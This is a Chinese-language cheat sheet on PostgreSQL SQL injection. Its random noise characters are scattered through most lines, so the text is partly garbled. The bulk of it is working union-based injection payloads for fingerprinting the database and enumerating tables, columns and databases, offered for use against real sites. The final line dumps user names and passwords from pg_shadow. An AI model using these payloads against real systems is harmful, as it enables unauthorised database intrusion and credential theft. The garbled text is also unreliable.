结合了MSSQL MySQL Oracle的一些特点
3 ]* G5 C; A" e& Z/ i8 F4 K/ f1 V6 _支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/8 n5 Q* ^7 W+ [8 U
连接符: %20 , + , /**/ 内置函数:1 i, f, ]4 v4 R
current_database() //当前数据库名
, G1 Q: W/ n/ i" a/ `- _- [session_user //会话用户
$ p/ H5 n8 L- s4 u% p( q6 zcurrent_user //当前数据库用户 e! |- u8 U* e- ]9 [/ W" [
user //当前用户7 L5 r- t4 L- s+ \$ r+ n/ u. u4 a
version() //数据库版本 Union注射:8 [# J# T% c" g$ {, a
order by n–
! a! q: p" b8 z' e3 s& d' i4 [, Fand 1=2 union select null,null,null–4 z7 S* } V5 M- ]
and 1=2 union select ‘beach’,null,null–
2 d% R6 Q* v: g1 ]1 M5 Z) c; }" gand 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):, o8 O4 K' Q6 S$ ?( t( D
group_concat(table_name)4 O" f5 j9 C3 r5 d& c& U
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
! S0 K0 I ]; t1 N. B3 t1 \% @% @and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
$ W$ Y( q) k1 C X2 V4 |5 R) f3 p(老版本)
g- V3 O' p& [- y* ^% |5 J) Mpg_class.oid对应pg_attribute.attrelid
* ?" O! T+ M7 Y; E5 ~" F C' _6 `/ [pg_class.relname表名
$ J* L/ D) W8 x" W' G( R4 b; Cpg_attribute.attname字段名 select relname from pg_class获取表名+ c& L1 O+ K6 [5 L4 s3 P1 r6 L
select oid from pg_class where 条件 获取参数
/ D; j# K8 E/ P/ Xselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:) n ^- M6 w8 d9 u) C- |* F
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
, w0 C* J D: Sand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
* p' p) P: {3 x) }" e- k" P) q' O) G由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
, F0 p8 N0 \: d* p E======================================================================( E! x; r* S" ?. E' ]9 X3 |$ f. l
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
; D: M7 ^7 O& g& \5 I4 V% j% Iand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |